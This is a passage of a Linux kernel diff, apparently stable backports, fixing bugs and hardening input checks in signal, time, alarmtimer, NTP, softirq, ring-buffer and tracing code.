pid, sig, info); @@ -3081,7 +3078,7 @@ COMPAT_SYSCALL_DEFINE4(rt_tgsigqueueinfo, int, sig, struct compat_siginfo __user *, uinfo) { - siginfo_t info; + siginfo_t info = {}; if (copy_siginfo_from_user32(&info, uinfo)) return -EFAULT; @@ -3550,7 +3547,7 @@ SYSCALL_DEFINE0(pause) #endif -int sigsuspend(sigset_t *set) +static int sigsuspend(sigset_t *set) { current->saved_sigmask = current->blocked; set_current_blocked(set); diff --git a/kernel/smp.c b/kernel/smp.c index a1deeb4aeab4e..dec409c83ddba 100644 --- a/kernel/smp.c +++ b/kernel/smp.c @@ -690,7 +690,7 @@ void on_each_cpu_cond(bool (*cond_func)(int cpu, void *info), if (cond_func(cpu, info)) { ret = smp_call_function_single(cpu, func, info, wait); - WARN_ON_ONCE(!ret); + WARN_ON_ONCE(ret); } preempt_enable(); } diff --git a/kernel/smpboot.c b/kernel/smpboot.c index eea112aef7a0b..bd4320479d292 100644 --- a/kernel/smpboot.c +++ b/kernel/smpboot.c @@ -282,6 +282,7 @@ int smpboot_register_percpu_thread(struct smp_hotplug_thread *plug_thread) unsigned int cpu; int ret = 0; + get_online_cpus(); mutex_lock(&smpboot_threads_lock); for_each_online_cpu(cpu) { ret = __smpboot_create_thread(plug_thread, cpu); @@ -294,6 +295,7 @@ int smpboot_register_percpu_thread(struct smp_hotplug_thread *plug_thread) list_add(&plug_thread->list, &hotplug_threads); out: mutex_unlock(&smpboot_threads_lock); + put_online_cpus(); return ret; } EXPORT_SYMBOL_GPL(smpboot_register_percpu_thread); diff --git a/kernel/softirq.c b/kernel/softirq.c index b58c5c512925e..96a4c2828ce65 100644 --- a/kernel/softirq.c +++ b/kernel/softirq.c @@ -6,8 +6,6 @@ * Distribute under GPLv2. * * Rewritten. Old one was good in 2.2, but in 2.3 it was immoral. --ANK (990903) - * - * Remote softirq infrastructure is by Jens Axboe. */ #include @@ -618,146 +616,17 @@ void tasklet_hrtimer_init(struct tasklet_hrtimer *ttimer, } EXPORT_SYMBOL_GPL(tasklet_hrtimer_init); -/* - * Remote softirq bits - */ - -DEFINE_PER_CPU(struct list_head [NR_SOFTIRQS], softirq_work_list); -EXPORT_PER_CPU_SYMBOL(softirq_work_list); - -static void __local_trigger(struct call_single_data *cp, int softirq) -{ - struct list_head *head = &__get_cpu_var(softirq_work_list[softirq]); - - list_add_tail(&cp->list, head); - - /* Trigger the softirq only if the list was previously empty. */ - if (head->next == &cp->list) - raise_softirq_irqoff(softirq); -} - -#ifdef CONFIG_USE_GENERIC_SMP_HELPERS -static void remote_softirq_receive(void *data) -{ - struct call_single_data *cp = data; - unsigned long flags; - int softirq; - - softirq = *(int *)cp->info; - local_irq_save(flags); - __local_trigger(cp, softirq); - local_irq_restore(flags); -} - -static int __try_remote_softirq(struct call_single_data *cp, int cpu, int softirq) -{ - if (cpu_online(cpu)) { - cp->func = remote_softirq_receive; - cp->info = &softirq; - cp->flags = 0; - - __smp_call_function_single(cpu, cp, 0); - return 0; - } - return 1; -} -#else /* CONFIG_USE_GENERIC_SMP_HELPERS */ -static int __try_remote_softirq(struct call_single_data *cp, int cpu, int softirq) -{ - return 1; -} -#endif - -/** - * __send_remote_softirq - try to schedule softirq work on a remote cpu - * @cp: private SMP call function data area - * @cpu: the remote cpu - * @this_cpu: the currently executing cpu - * @softirq: the softirq for the work - * - * Attempt to schedule softirq work on a remote cpu. If this cannot be - * done, the work is instead queued up on the local cpu. - * - * Interrupts must be disabled. - */ -void __send_remote_softirq(struct call_single_data *cp, int cpu, int this_cpu, int softirq) -{ - if (cpu == this_cpu || __try_remote_softirq(cp, cpu, softirq)) - __local_trigger(cp, softirq); -} -EXPORT_SYMBOL(__send_remote_softirq); - -/** - * send_remote_softirq - try to schedule softirq work on a remote cpu - * @cp: private SMP call function data area - * @cpu: the remote cpu - * @softirq: the softirq for the work - * - * Like __send_remote_softirq except that disabling interrupts and - * computing the current cpu is done for the caller. - */ -void send_remote_softirq(struct call_single_data *cp, int cpu, int softirq) -{ - unsigned long flags; - int this_cpu; - - local_irq_save(flags); - this_cpu = smp_processor_id(); - __send_remote_softirq(cp, cpu, this_cpu, softirq); - local_irq_restore(flags); -} -EXPORT_SYMBOL(send_remote_softirq); - -static int __cpuinit remote_softirq_cpu_notify(struct notifier_block *self, - unsigned long action, void *hcpu) -{ - /* - * If a CPU goes away, splice its entries to the current CPU - * and trigger a run of the softirq - */ - if (action == CPU_DEAD || action == CPU_DEAD_FROZEN) { - int cpu = (unsigned long) hcpu; - int i; - - local_irq_disable(); - for (i = 0; i < NR_SOFTIRQS; i++) { - struct list_head *head = &per_cpu(softirq_work_list[i], cpu); - struct list_head *local_head; - - if (list_empty(head)) - continue; - - local_head = &__get_cpu_var(softirq_work_list[i]); - list_splice_init(head, local_head); - raise_softirq_irqoff(i); - } - local_irq_enable(); - } - - return NOTIFY_OK; -} - -static struct notifier_block __cpuinitdata remote_softirq_cpu_notifier = { - .notifier_call = remote_softirq_cpu_notify, -}; - void __init softirq_init(void) { int cpu; for_each_possible_cpu(cpu) { - int i; - per_cpu(tasklet_vec, cpu).tail = &per_cpu(tasklet_vec, cpu).head; per_cpu(tasklet_hi_vec, cpu).tail = &per_cpu(tasklet_hi_vec, cpu).head; - for (i = 0; i < NR_SOFTIRQS; i++) - INIT_LIST_HEAD(&per_cpu(softirq_work_list[i], cpu)); } - register_hotcpu_notifier(&remote_softirq_cpu_notifier); - open_softirq(TASKLET_SOFTIRQ, tasklet_action); open_softirq(HI_SOFTIRQ, tasklet_hi_action); } @@ -772,9 +641,13 @@ static void run_ksoftirqd(unsigned int cpu) local_irq_disable(); if (local_softirq_pending()) { __do_softirq(); - rcu_note_context_switch(cpu); local_irq_enable(); cond_resched(); + + preempt_disable(); + rcu_note_context_switch(cpu); + preempt_enable(); + return; } local_irq_enable(); diff --git a/kernel/time.c b/kernel/time.c index d3617dbd3dca6..31ec845d0e80f 100644 --- a/kernel/time.c +++ b/kernel/time.c @@ -195,6 +195,10 @@ SYSCALL_DEFINE2(settimeofday, struct timeval __user *, tv, if (tv) { if (copy_from_user(&user_tv, tv, sizeof(*tv))) return -EFAULT; + + if (!timeval_valid(&user_tv)) + return -EINVAL; + new_ts.tv_sec = user_tv.tv_sec; new_ts.tv_nsec = user_tv.tv_usec * NSEC_PER_USEC; } @@ -496,17 +500,20 @@ EXPORT_SYMBOL(usecs_to_jiffies); * that a remainder subtract here would not do the right thing as the * resolution values don't fall on second boundries. I.e. the line: * nsec -= nsec % TICK_NSEC; is NOT a correct resolution rounding. + * Note that due to the small error in the multiplier here, this + * rounding is incorrect for sufficiently large values of tv_nsec, but + * well formed timespecs should have tv_nsec < NSEC_PER_SEC, so we're + * OK. * * Rather, we just shift the bits off the right. * * The >> (NSEC_JIFFIE_SC - SEC_JIFFIE_SC) converts the scaled nsec * value to a scaled second value. */ -unsigned long -timespec_to_jiffies(const struct timespec *value) +static unsigned long +__timespec_to_jiffies(unsigned long sec, long nsec) { - unsigned long sec = value->tv_sec; - long nsec = value->tv_nsec + TICK_NSEC - 1; + nsec = nsec + TICK_NSEC - 1; if (sec >= MAX_SEC_IN_JIFFIES){ sec = MAX_SEC_IN_JIFFIES; @@ -517,6 +524,13 @@ timespec_to_jiffies(const struct timespec *value) (NSEC_JIFFIE_SC - SEC_JIFFIE_SC))) >> SEC_JIFFIE_SC; } + +unsigned long +timespec_to_jiffies(const struct timespec *value) +{ + return __timespec_to_jiffies(value->tv_sec, value->tv_nsec); +} + EXPORT_SYMBOL(timespec_to_jiffies); void @@ -533,31 +547,27 @@ jiffies_to_timespec(const unsigned long jiffies, struct timespec *value) } EXPORT_SYMBOL(jiffies_to_timespec); -/* Same for "timeval" +/* + * We could use a similar algorithm to timespec_to_jiffies (with a + * different multiplier for usec instead of nsec). But this has a + * problem with rounding: we can't exactly add TICK_NSEC - 1 to the + * usec value, since it's not necessarily integral. * - * Well, almost. The problem here is that the real system resolution is - * in nanoseconds and the value being converted is in micro seconds. - * Also for some machines (those that use HZ = 1024, in-particular), - * there is a LARGE error in the tick size in microseconds. - - * The solution we use is to do the rounding AFTER we convert the - * microsecond part. Thus the USEC_ROUND, the bits to be shifted off. - * Instruction wise, this should cost only an additional add with carry - * instruction above the way it was done above. + * We could instead round in the intermediate scaled representation + * (i.e. in units of 1/2^(large scale) jiffies) but that's also + * perilous: the scaling introduces a small positive error, which + * combined with a division-rounding-upward (i.e. adding 2^(scale) - 1 + * units to the intermediate before shifting) leads to accidental + * overflow and overestimates. + * + * At the cost of one additional multiplication by a constant, just + * use the timespec implementation. */ unsigned long timeval_to_jiffies(const struct timeval *value) { - unsigned long sec = value->tv_sec; - long usec = value->tv_usec; - - if (sec >= MAX_SEC_IN_JIFFIES){ - sec = MAX_SEC_IN_JIFFIES; - usec = 0; - } - return (((u64)sec * SEC_CONVERSION) + - (((u64)usec * USEC_CONVERSION + USEC_ROUND) >> - (USEC_JIFFIE_SC - SEC_JIFFIE_SC))) >> SEC_JIFFIE_SC; + return __timespec_to_jiffies(value->tv_sec, + value->tv_usec * NSEC_PER_USEC); } EXPORT_SYMBOL(timeval_to_jiffies); diff --git a/kernel/time/alarmtimer.c b/kernel/time/alarmtimer.c index 811f8cfd367a9..3e7189bf46d17 100644 --- a/kernel/time/alarmtimer.c +++ b/kernel/time/alarmtimer.c @@ -623,18 +623,26 @@ static enum alarmtimer_type clock2alarm(clockid_t clockid) static enum alarmtimer_restart alarm_handle_timer(struct alarm *alarm, ktime_t now) { + unsigned long flags; struct k_itimer *ptr = container_of(alarm, struct k_itimer, it.alarm.alarmtimer); - if (posix_timer_event(ptr, 0) != 0) - ptr->it_overrun++; + enum alarmtimer_restart result = ALARMTIMER_NORESTART; + + spin_lock_irqsave(&ptr->it_lock, flags); + if ((ptr->it_sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE) { + if (posix_timer_event(ptr, 0) != 0) + ptr->it_overrun++; + } /* Re-add periodic timers */ if (ptr->it.alarm.interval.tv64) { ptr->it_overrun += alarm_forward(alarm, now, ptr->it.alarm.interval); - return ALARMTIMER_RESTART; + result = ALARMTIMER_RESTART; } - return ALARMTIMER_NORESTART; + spin_unlock_irqrestore(&ptr->it_lock, flags); + + return result; } /** @@ -744,9 +752,14 @@ static int alarm_timer_set(struct k_itimer *timr, int flags, struct itimerspec *new_setting, struct itimerspec *old_setting) { + ktime_t exp; + if (!rtcdev) return -ENOTSUPP; + if (flags & ~TIMER_ABSTIME) + return -EINVAL; + if (old_setting) alarm_timer_get(timr, old_setting); @@ -756,8 +769,16 @@ static int alarm_timer_set(struct k_itimer *timr, int flags, /* start the timer */ timr->it.alarm.interval = timespec_to_ktime(new_setting->it_interval); - alarm_start(&timr->it.alarm.alarmtimer, - timespec_to_ktime(new_setting->it_value)); + exp = timespec_to_ktime(new_setting->it_value); + /* Convert (if necessary) to absolute time */ + if (flags != TIMER_ABSTIME) { + ktime_t now; + + now = alarm_bases[timr->it.alarm.alarmtimer.type].gettime(); + exp = ktime_add(now, exp); + } + + alarm_start(&timr->it.alarm.alarmtimer, exp); return 0; } @@ -889,6 +910,9 @@ static int alarm_timer_nsleep(const clockid_t which_clock, int flags, if (!alarmtimer_get_rtcdev()) return -ENOTSUPP; + if (flags & ~TIMER_ABSTIME) + return -EINVAL; + if (!capable(CAP_WAKE_ALARM)) return -EPERM; diff --git a/kernel/time/clockevents.c b/kernel/time/clockevents.c index bae86761eaa73..c843b4eca01b3 100644 --- a/kernel/time/clockevents.c +++ b/kernel/time/clockevents.c @@ -138,7 +138,8 @@ static int clockevents_increase_min_delta(struct clock_event_device *dev) { /* Nothing to do if we already reached the limit */ if (dev->min_delta_ns >= MIN_DELTA_LIMIT) { - printk(KERN_WARNING "CE: Reprogramming failure. Giving up\n"); + printk_deferred(KERN_WARNING + "CE: Reprogramming failure. Giving up\n"); dev->next_event.tv64 = KTIME_MAX; return -ETIME; } @@ -151,9 +152,10 @@ static int clockevents_increase_min_delta(struct clock_event_device *dev) if (dev->min_delta_ns > MIN_DELTA_LIMIT) dev->min_delta_ns = MIN_DELTA_LIMIT; - printk(KERN_WARNING "CE: %s increased min_delta_ns to %llu nsec\n", - dev->name ? dev->name : "?", - (unsigned long long) dev->min_delta_ns); + printk_deferred(KERN_WARNING + "CE: %s increased min_delta_ns to %llu nsec\n", + dev->name ? dev->name : "?", + (unsigned long long) dev->min_delta_ns); return 0; } diff --git a/kernel/time/ntp.c b/kernel/time/ntp.c index af8d1d4f3d551..6211d5d6d4656 100644 --- a/kernel/time/ntp.c +++ b/kernel/time/ntp.c @@ -631,6 +631,17 @@ int ntp_validate_timex(struct timex *txc) if ((txc->modes & ADJ_SETOFFSET) && (!capable(CAP_SYS_TIME))) return -EPERM; + /* + * Check for potential multiplication overflows that can + * only happen on 64-bit systems: + */ + if ((txc->modes & ADJ_FREQUENCY) && (BITS_PER_LONG == 64)) { + if (LLONG_MIN / PPM_SCALE > txc->freq) + return -EINVAL; + if (LLONG_MAX / PPM_SCALE < txc->freq) + return -EINVAL; + } + return 0; } diff --git a/kernel/time/posix-clock.c b/kernel/time/posix-clock.c index ce033c7aa2e8f..9cff0ab82b635 100644 --- a/kernel/time/posix-clock.c +++ b/kernel/time/posix-clock.c @@ -69,10 +69,10 @@ static ssize_t posix_clock_read(struct file *fp, char __user *buf, static unsigned int posix_clock_poll(struct file *fp, poll_table *wait) { struct posix_clock *clk = get_posix_clock(fp); - int result = 0; + unsigned int result = 0; if (!clk) - return -ENODEV; + return POLLERR; if (clk->ops.poll) result = clk->ops.poll(clk, fp, wait); diff --git a/kernel/trace/ftrace.c b/kernel/trace/ftrace.c index 797d3b91a30bf..401d9bd1fe42c 100644 --- a/kernel/trace/ftrace.c +++ b/kernel/trace/ftrace.c @@ -331,12 +331,12 @@ static void update_ftrace_function(void) func = ftrace_ops_list_func; } + update_function_graph_func(); + /* If there's no change, then do nothing more here */ if (ftrace_trace_function == func) return; - update_function_graph_func(); - /* * If we are using the list function, it doesn't care * about the function_trace_ops. diff --git a/kernel/trace/ring_buffer.c b/kernel/trace/ring_buffer.c index fd0c9b0cc9774..86b6e45e96a5f 100644 --- a/kernel/trace/ring_buffer.c +++ b/kernel/trace/ring_buffer.c @@ -463,7 +463,7 @@ struct ring_buffer_per_cpu { raw_spinlock_t reader_lock; /* serialize readers */ arch_spinlock_t lock; struct lock_class_key lock_key; - unsigned int nr_pages; + unsigned long nr_pages; struct list_head *pages; struct buffer_page *head_page; /* read from head */ struct buffer_page *tail_page; /* write to tail */ @@ -483,7 +483,7 @@ struct ring_buffer_per_cpu { u64 write_stamp; u64 read_stamp; /* ring buffer pages to update, > 0 to add, < 0 to remove */ - int nr_pages_to_update; + long nr_pages_to_update; struct list_head new_pages; /* new pages to add */ struct work_struct update_pages_work; struct completion update_done; @@ -616,10 +616,6 @@ int ring_buffer_poll_wait(struct ring_buffer *buffer, int cpu, struct ring_buffer_per_cpu *cpu_buffer; struct rb_irq_work *work; - if ((cpu == RING_BUFFER_ALL_CPUS && !ring_buffer_empty(buffer)) || - (cpu != RING_BUFFER_ALL_CPUS && !ring_buffer_empty_cpu(buffer, cpu))) - return POLLIN | POLLRDNORM; - if (cpu == RING_BUFFER_ALL_CPUS) work = &buffer->irq_work; else { @@ -630,8 +626,22 @@ int ring_buffer_poll_wait(struct ring_buffer *buffer, int cpu, work = &cpu_buffer->irq_work; } - work->waiters_pending = true; poll_wait(filp, &work->waiters, poll_table); + work->waiters_pending = true; + /* + * There's a tight race between setting the waiters_pending and + * checking if the ring buffer is empty. Once the waiters_pending bit + * is set, the next event will wake the task up, but we can get stuck + * if there's only a single event in. + * + * FIXME: Ideally, we need a memory barrier on the writer side as well, + * but adding a memory barrier to all events will cause too much of a + * performance hit in the fast path. We only need a memory barrier when + * the buffer goes from empty to having content. But as this race is + * extremely small, and it's not a problem if another event comes in, we + * will fix it later. + */ + smp_mb(); if ((cpu == RING_BUFFER_ALL_CPUS && !ring_buffer_empty(buffer)) || (cpu != RING_BUFFER_ALL_CPUS && !ring_buffer_empty_cpu(buffer, cpu))) @@ -1110,10 +1120,10 @@ static int rb_check_pages(struct ring_buffer_per_cpu *cpu_buffer) return 0; } -static int __rb_allocate_pages(int nr_pages, struct list_head *pages, int cpu) +static int __rb_allocate_pages(long nr_pages, struct list_head *pages, int cpu) { - int i; struct buffer_page *bpage, *tmp; + long i; for (i = 0; i < nr_pages; i++) { struct page *page; @@ -1150,7 +1160,7 @@ static int __rb_allocate_pages(int nr_pages, struct list_head *pages, int cpu) } static int rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer, - unsigned nr_pages) + unsigned long nr_pages) { LIST_HEAD(pages); @@ -1175,7 +1185,7 @@ static int rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer, } static struct ring_buffer_per_cpu * -rb_allocate_cpu_buffer(struct ring_buffer *buffer, int nr_pages, int cpu) +rb_allocate_cpu_buffer(struct ring_buffer *buffer, long nr_pages, int cpu) { struct ring_buffer_per_cpu *cpu_buffer; struct buffer_page *bpage; @@ -1274,8 +1284,9 @@ struct ring_buffer *__ring_buffer_alloc(unsigned long size, unsigned flags, struct lock_class_key *key) { struct ring_buffer *buffer; + long nr_pages; int bsize; - int cpu, nr_pages; + int cpu; /* keep it in its own cache line */ buffer = kzalloc(ALIGN(sizeof(*buffer), cache_line_size()), @@ -1401,12 +1412,12 @@ static inline unsigned long rb_page_write(struct buffer_page *bpage) } static int -rb_remove_pages(struct ring_buffer_per_cpu *cpu_buffer, unsigned int nr_pages) +rb_remove_pages(struct ring_buffer_per_cpu *cpu_buffer, unsigned long nr_pages) { struct list_head *tail_page, *to_remove, *next_page; struct buffer_page *to_remove_page, *tmp_iter_page; struct buffer_page *last_page, *first_page; - unsigned int nr_removed; + unsigned long nr_removed; unsigned long head_bit; int page_entries; @@ -1622,7 +1633,7 @@ int ring_buffer_resize(struct ring_buffer *buffer, unsigned long size, int cpu_id) { struct ring_buffer_per_cpu *cpu_buffer; - unsigned nr_pages; + unsigned long nr_pages; int cpu, err = 0; /* @@ -1636,14 +1647,13 @@ int ring_buffer_resize(struct ring_buffer *buffer, unsigned long size, !cpumask_test_cpu(cpu_id, buffer->cpumask)) return size; - size = DIV_ROUND_UP(size, BUF_PAGE_SIZE); - size *= BUF_PAGE_SIZE; + nr_pages = DIV_ROUND_UP(size, BUF_PAGE_SIZE); /* we need a minimum of two pages */ - if (size < BUF_PAGE_SIZE * 2) - size = BUF_PAGE_SIZE * 2; + if (nr_pages < 2) + nr_pages = 2; - nr_pages = DIV_ROUND_UP(size, BUF_PAGE_SIZE); + size = nr_pages * BUF_PAGE_SIZE; /* * Don't succeed if resizing is disabled, as a reader might be @@ -1941,12 +1951,6 @@ rb_set_commit_to_write(struct ring_buffer_per_cpu *cpu_buffer) goto again; } -static void rb_reset_reader_page(struct ring_buffer_per_cpu *cpu_buffer) -{ - cpu_buffer->read_stamp = cpu_buffer->reader_page->page->time_stamp; - cpu_buffer->reader_page->read = 0; -} - static void rb_inc_iter(struct ring_buffer_iter *iter) { struct ring_buffer_per_cpu *cpu_buffer = iter->cpu_buffer; @@ -1987,7 +1991,7 @@ rb_add_time_stamp(struct ring_buffer_event *event, u64 delta) /** * rb_update_event - update event type and data - * @event: the even to update + * @event: the event to update * @type: the type of event * @length: the size of the event field in the ring buffer * @@ -2643,7 +2647,7 @@ static DEFINE_PER_CPU(unsigned int, current_context); static __always_inline int trace_recursive_lock(void) { - unsigned int val = this_cpu_read(current_context); + unsigned int val = __this_cpu_read(current_context); int bit; if (in_interrupt()) { @@ -2660,18 +2664,17 @@ static __always_inline int trace_recursive_lock(void) return 1; val |= (1 << bit); - this_cpu_write(current_context, val); + __this_cpu_write(current_context, val); return 0; } static __always_inline void trace_recursive_unlock(void) { - unsigned int val = this_cpu_read(current_context); + unsigned int val = __this_cpu_read(current_context); - val--; - val &= this_cpu_read(current_context); - this_cpu_write(current_context, val); + val &= val & (val - 1); + __this_cpu_write(current_context, val); } #else @@ -3360,21 +3363,16 @@ static void rb_iter_reset(struct ring_buffer_iter *iter) struct ring_buffer_per_cpu *cpu_buffer = iter->cpu_buffer; /* Iterator usage is expected to have record disabled */ - if (list_empty(&cpu_buffer->reader_page->list)) { - iter->head_page = rb_set_head_page(cpu_buffer); - if (unlikely(!iter->head_page)) - return; - iter->head = iter->head_page->read; - } else { - iter->head_page = cpu_buffer->reader_page; - iter->head = cpu_buffer->reader_page->read; - } + iter->head_page = cpu_buffer->reader_page; + iter->head = cpu_buffer->reader_page->read; + + iter->cache_reader_page = iter->head_page; + iter->cache_read = cpu_buffer->read; + if (iter->head) iter->read_stamp = cpu_buffer->read_stamp; else iter->read_stamp = iter->head_page->page->time_stamp; - iter->cache_reader_page = cpu_buffer->reader_page; - iter->cache_read = cpu_buffer->read; } /** @@ -3590,7 +3588,7 @@ rb_get_reader_page(struct ring_buffer_per_cpu *cpu_buffer) /* Finally update the reader page to the new head */ cpu_buffer->reader_page = reader; - rb_reset_reader_page(cpu_buffer); + cpu_buffer->reader_page->read = 0; if (overwrite != cpu_buffer->last_overrun) { cpu_buffer->lost_events = overwrite - cpu_buffer->last_overrun; @@ -3600,6 +3598,10 @@ rb_get_reader_page(struct ring_buffer_per_cpu *cpu_buffer) goto again; out: + /* Update the read_stamp on the first event */ + if (reader && reader->read == 0) + cpu_buffer->read_stamp = reader->page->time_stamp; + arch_spin_unlock(&cpu_buffer->lock); local_irq_restore(flags); @@ -3767,12 +3769,14 @@ rb_iter_peek(struct ring_buffer_iter *iter, u64 *ts) return NULL; /* - * We repeat when a time extend is encountered. - * Since the time extend is always attached to a data event, - * we should never loop more than once. - * (We never hit the following condition more than twice). + * We repeat when a time extend is encountered or we hit + * the end of the page. Since the time extend is always attached + * to a data event, we should never loop more than three times. + * Once for going to next page, once on time extend, and + * finally once to get the event. + * (We never hit the following condition more than thrice). */ - if (RB_WARN_ON(cpu_buffer, ++nr_loops > 2)) + if (RB_WARN_ON(cpu_buffer, ++nr_loops > 3)) return NULL; if (rb_per_cpu_empty(cpu_buffer)) @@ -4606,8 +4610,9 @@ static int rb_cpu_notify(struct notifier_block *self, struct ring_buffer *buffer = container_of(self, struct ring_buffer, cpu_notify); long cpu = (long)hcpu; - int cpu_i, nr_pages_same; - unsigned int nr_pages; + long nr_pages_same; + int cpu_i; + unsigned long nr_pages; switch (action) { case CPU_UP_PREPARE: diff --git a/kernel/trace/ring_buffer_benchmark.c b/kernel/trace/ring_buffer_benchmark.c index a5457d577b983..6ad2e2d320fe4 100644 --- a/kernel/trace/ring_buffer_benchmark.c +++ b/kernel/trace/ring_buffer_benchmark.c @@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_init(void) if (producer_fifo >= 0) { struct sched_param param = { - .sched_priority = consumer_fifo + .sched_priority = producer_fifo }; sched_setscheduler(producer, SCHED_FIFO, ¶m); } else diff --git a/kernel/trace/trace.c b/kernel/trace/trace.c index 43ba297f9c21e..8de54810acf59 100644 --- a/kernel/trace/trace.c +++ b/kernel/trace/trace.c @@ -424,6 +424,9 @@ int __trace_puts(unsigned long ip, const char *str, int size) struct print_entry *entry; unsigned long irq_flags; int alloc; + int pc; + + pc = preempt_count(); if (unlikely(tracing_selftest_running || tracing_disabled)) return 0; @@ -433,7 +436,7 @@ int __trace_puts(unsigned long ip, const char *str, int size) local_save_flags(irq_flags); buffer = global_trace.trace_buffer.buffer; event = trace_buffer_lock_reserve(buffer, TRACE_PRINT, alloc, - irq_flags, preempt_count()); + irq_flags, pc); if (!event) return 0; @@ -453,6 +456,7 @@ int __trace_puts(unsigned long ip, const char *str, int size) } __buffer_unlock_commit(buffer, event); + ftrace_trace_stack(buffer, irq_flags, 4, pc); return size; } @@ -470,6 +474,9 @@ int __trace_bputs(unsigned long ip, const char *str) struct bputs_entry *entry; unsigned long irq_flags; int size = sizeof(struct bputs_entry); + int pc; + + pc = preempt_count(); if (unlikely(tracing_selftest_running || tracing_disabled)) return 0; @@ -477,7 +484,7 @@ int __trace_bputs(unsigned long ip, const char *str) local_save_flags(irq_flags); buffer = global_trace.trace_buffer.buffer; event = trace_buffer_lock_reserve(buffer, TRACE_BPUTS, size, - irq_flags, preempt_count()); + irq_flags, pc); if (!event) return 0; @@ -487,6 +494,7 @@ int __trace_bputs(unsigned long ip, const char *str) stm_log(OST_ENTITY_TRACE_PRINTK, entry->str, strlen(entry->str)+1); __buffer_unlock_commit(buffer, event); + ftrace_trace_stack(buffer, irq_flags, 4, pc); return 1; } @@ -739,7 +747,7 @@ static struct { { trace_clock_local, "local", 1 }, { trace_clock_global, "global", 1 }, { trace_clock_counter, "counter", 0 }, - { trace_clock_jiffies, "uptime", 1 }, + { trace_clock_jiffies, "uptime", 0 }, { trace_clock, "perf", 1 }, ARCH_TRACE_CLOCKS }; @@ -4440,7 +4448,10 @@ static ssize_t tracing_splice_read_pipe(struct file *filp, spd.nr_pages = i; - ret = splice_to_pipe(pipe, &spd); + if (i) + ret = splice_to_pipe(pipe, &spd); + else + ret = 0; out: splice_shrink_spd(&spd); return ret; @@ -6155,7 +6166,7 @@ static int instance_mkdir (struct inode *inode, struct dentry *dentry, umode_t m int ret; /* Paranoid: Make sure the parent is the "instances" directory */ - parent = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); + parent = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); if (WARN_ON_ONCE(parent != trace_instance_dir)) return -ENOENT; @@ -6182,7 +6193,7 @@ static int instance_rmdir(struct inode *inode, struct dentry *dentry) int ret; /* Paranoid: Make sure the parent is the "instances" directory */ - parent = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); + parent = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); if (WARN_ON_ONCE(parent != trace_instance_dir)) return -ENOENT; diff --git a/kernel/trace/trace.h b/kernel/trace/trace.h index 79462443658dc..b8a1ac72be4ea 100644 --- a/kernel/trace/trace.h +++ b/kernel/trace/trace.h @@ -428,6 +428,7 @@ enum { TRACE_CONTROL_BIT, + TRACE_BRANCH_BIT, /* * Abuse of the trace_recursion. * As we need a way to maintain state if we are tracing the function diff --git a/kernel/trace/trace_branch.c b/kernel/trace/trace_branch.c index d594da0dc03ce..cb89197adf5c4 100644 --- a/kernel/trace/trace_branch.c +++ b/kernel/trace/trace_branch.c @@ -37,9 +37,12 @@ probe_likely_condition(struct ftrace_branch_data *f, int val, int expect) struct trace_branch *entry; struct ring_buffer *buffer; unsigned long flags; - int cpu, pc; + int pc; const char *p; + if (current->trace_recursion & TRACE_BRANCH_BIT) + return; + /* * I would love to save just the ftrace_likely_data pointer, but * this code can also be used by modules. Ugly things can happen @@ -50,10 +53,10 @@ probe_likely_condition(struct ftrace_branch_data *f, int val, int expect) if (unlikely(!tr)) return; - local_irq_save(flags); - cpu = raw_smp_processor_id(); - data = per_cpu_ptr(tr->trace_buffer.data, cpu); - if (atomic_inc_return(&data->disabled) != 1) + raw_local_irq_save(flags); + current->trace_recursion |= TRACE_BRANCH_BIT; + data = this_cpu_ptr(tr->trace_buffer.data); + if (atomic_read(&data->disabled)) goto out; pc = preempt_count(); @@ -82,8 +85,8 @@ probe_likely_condition(struct ftrace_branch_data *f, int val, int expect) __buffer_unlock_commit(buffer, event); out: - atomic_dec(&data->disabled); - local_irq_restore(flags); + current->trace_recursion &= ~TRACE_BRANCH_BIT; + raw_local_irq_restore(flags); } static inline diff --git a/kernel/trace/trace_clock.c b/kernel/trace/trace_clock.c index 26dc348332b79..57b67b1f24d1a 100644 --- a/kernel/trace/trace_clock.c +++ b/kernel/trace/trace_clock.c @@ -59,13 +59,14 @@ u64 notrace trace_clock(void) /* * trace_jiffy_clock(): Simply use jiffies as a clock counter. + * Note that this use of jiffies_64 is not completely safe on + * 32-bit systems. But the window is tiny, and the effect if + * we are affected is that we will have an obviously bogus + * timestamp on a trace event - i.e. not life threatening. */ u64 notrace trace_clock_jiffies(void) { - u64 jiffy = jiffies - INITIAL_JIFFIES; - - /* Return nsecs */ - return (u64)jiffies_to_usecs(jiffy) * 1000ULL; + return jiffies_64_to_clock_t(jiffies_64 - INITIAL_JIFFIES); } /* diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c index 001b349af9398..7d054b7671ec9 100644 --- a/kernel/trace/trace_events.c +++ b/kernel/trace/trace_events.c @@ -425,7 +425,7 @@ static void remove_event_file_dir(struct ftrace_event_file *file) if (dir) { spin_lock(&dir->d_lock); /* probably unneeded */ - list_for_each_entry(child, &dir->d_subdirs, d_u.d_child) { + list_for_each_entry(child, &dir->d_subdirs, d_child) { if (child->d_inode) /* probably unneeded */ child->d_inode->i_private = NULL; } @@ -602,7 +602,8 @@ t_next(struct seq_file *m, void *v, loff_t *pos) * The ftrace subsystem is for showing formats only. * They can not be enabled or disabled via the event files. */ - if (call->class && call->class->reg) + if (call->class && call->class->reg && + !(call->flags & TRACE_EVENT_FL_IGNORE_ENABLE)) return file; } diff --git a/kernel/trace/trace_events_filter.c b/kernel/trace/trace_events_filter.c index 0a1edc694d67c..67654bb5bc2f5 100644 --- a/kernel/trace/trace_events_filter.c +++ b/kernel/trace/trace_events_filter.c @@ -1015,6 +1015,9 @@ static void parse_init(struct filter_parse_state *ps, static char infix_next(struct filter_parse_state *ps) { + if (!ps->infix.cnt) + return 0; + ps->infix.cnt--; return ps->infix.string[ps->infix.tail++]; @@ -1030,6 +1033,9 @@ static char infix_peek(struct filter_parse_state *ps) static void infix_advance(struct filter_parse_state *ps) { + if (!ps->infix.cnt) + return; + ps->infix.cnt--; ps->infix.tail++; } @@ -1328,19 +1334,26 @@ static int check_preds(struct filter_parse_state *ps) { int n_normal_preds = 0, 